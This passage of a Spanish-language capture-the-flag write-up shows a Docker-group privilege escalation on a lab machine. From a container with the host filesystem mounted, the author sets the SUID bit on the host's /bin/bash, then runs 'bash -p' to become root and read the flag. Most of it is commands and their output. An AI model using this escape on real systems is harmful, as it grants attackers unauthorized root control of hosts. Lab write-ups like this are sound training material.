lrwxrwxrwx   1 root root         33 Jul  9  2020 initrd.img.old -> boot/initrd.img-4.15.0-99-generic
drwxr-xr-x  22 root root       4096 Sep 18  2019 lib
drwxr-xr-x   2 root root       4096 Jul  9  2020 lib64
drwx------   2 root root      16384 Sep 17  2019 lost+found
drwxr-xr-x   2 root root       4096 Feb 14  2019 media
drwxr-xr-x   2 root root       4096 Feb 14  2019 mnt
drwxr-xr-x   3 root root       4096 Sep 18  2019 opt
dr-xr-xr-x 193 root root          0 Mar 12 23:04 proc
drwx------   6 root root       4096 Sep 16  2020 root
drwxr-xr-x  31 root root       1020 Mar 12 23:05 run
drwxr-xr-x   2 root root      12288 Jul  9  2020 sbin
drwxr-xr-x   4 root root       4096 Sep 17  2019 snap
drwxr-xr-x   2 root root       4096 Feb 14  2019 srv
-rw-------   1 root root 1685061632 Sep 17  2019 swap.img
dr-xr-xr-x  13 root root          0 Mar 12 23:04 sys
drwxrwxrwt  12 root root       4096 Mar 13 03:29 tmp
drwxr-xr-x  10 root root       4096 Feb 14  2019 usr
drwxr-xr-x  14 root root       4096 Sep 17  2019 var
lrwxrwxrwx   1 root root         31 Jul  9  2020 vmlinuz -> boot/vmlinuz-4.15.0-109-generic
lrwxrwxrwx   1 root root         30 Jul  9  2020 vmlinuz.old -> boot/vmlinuz-4.15.0-99-generic
root@6ab913d0e201:/#

Aprovechando los privilegios que tenemos sobre el contenedor, podemos darle permisos SUID a /bin/bash que se encuentra bajo la ruta /mnt/root, es decir chmod 4755 /mnt/root/bin/bash:

1
2
3
4
root@6ab913d0e201:/# chmod 4755 /mnt/root/bin/bash 
root@6ab913d0e201:/# ls -l /mnt/root/bin/bash
-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /mnt/root/bin/bash
root@6ab913d0e201:/# 

Nos salimos del contenedor y lo paramos. Si vemos los permisos en la máquina principal de /bin/bash, vemos que es SUID.

1
2
3
4
5
6
7
luffy@cache:/$ docker stop privesc
privesc
luffy@cache:/$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
luffy@cache:/$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash
luffy@cache:/$

Ya aquí podemos migrar a root facilmente.

1
2
3
4
luffy@cache:/$ bash -p
bash-4.4# whoami
root
bash-4.4#

Ya somos el usuario root y podemos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.